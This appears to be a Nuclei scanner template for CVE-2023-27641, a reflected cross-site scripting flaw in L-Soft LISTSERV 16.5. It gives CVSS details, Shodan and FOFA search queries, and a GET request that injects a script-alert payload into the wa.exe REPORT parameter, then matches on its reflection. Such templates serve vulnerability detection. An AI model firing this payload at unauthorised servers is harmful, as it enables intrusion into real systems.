id: CVE-2023-27641

info:
  name: L-Soft LISTSERV 16.5 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The REPORT (after z but before a) parameter in wa.exe in L-Soft LISTSERV 16.5 before 17 allows an attacker to conduct XSS attacks via a crafted URL.
  impact: |
    Successful exploitation could lead to unauthorized access or data theft.
  remediation: |
    Update to the latest version of L-Soft LISTSERV to mitigate the XSS vulnerability.
  reference:
    - https://github.com/hosakauk/exploits/blob/master/listserv_report_xss.MD
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27641
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-27641
    cwe-id: CWE-79
    epss-score: 0.01092
    epss-percentile: 0.61065
    cpe: cpe:2.3:a:lsoft:listserv:*:*:*:*:*:*:*:*
  metadata:
    vendor: lsoft
    product: listserv
    shodan-query: http.html:"LISTSERV"
    fofa-query: body="listserv"
  tags: cve2023,cve,xss,listserv,edb,lsoft,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wa.exe?REPORT&z=4&"><script>alert(document.domain)</script>a=1'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '><script>alert(document.domain)</script>'
          - 'LISTSERV'
        case-insensitive: true
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402202e052c36203b88ce28ca0bf45caf4e06fff51535eb90ee8af1178423200ff1e80220184ccd27dcd24e3c54b11cf6f3fc25e67d5c3d5a8473227bf48631a2e143e965:922c64590222798bb761d5b6d8e72950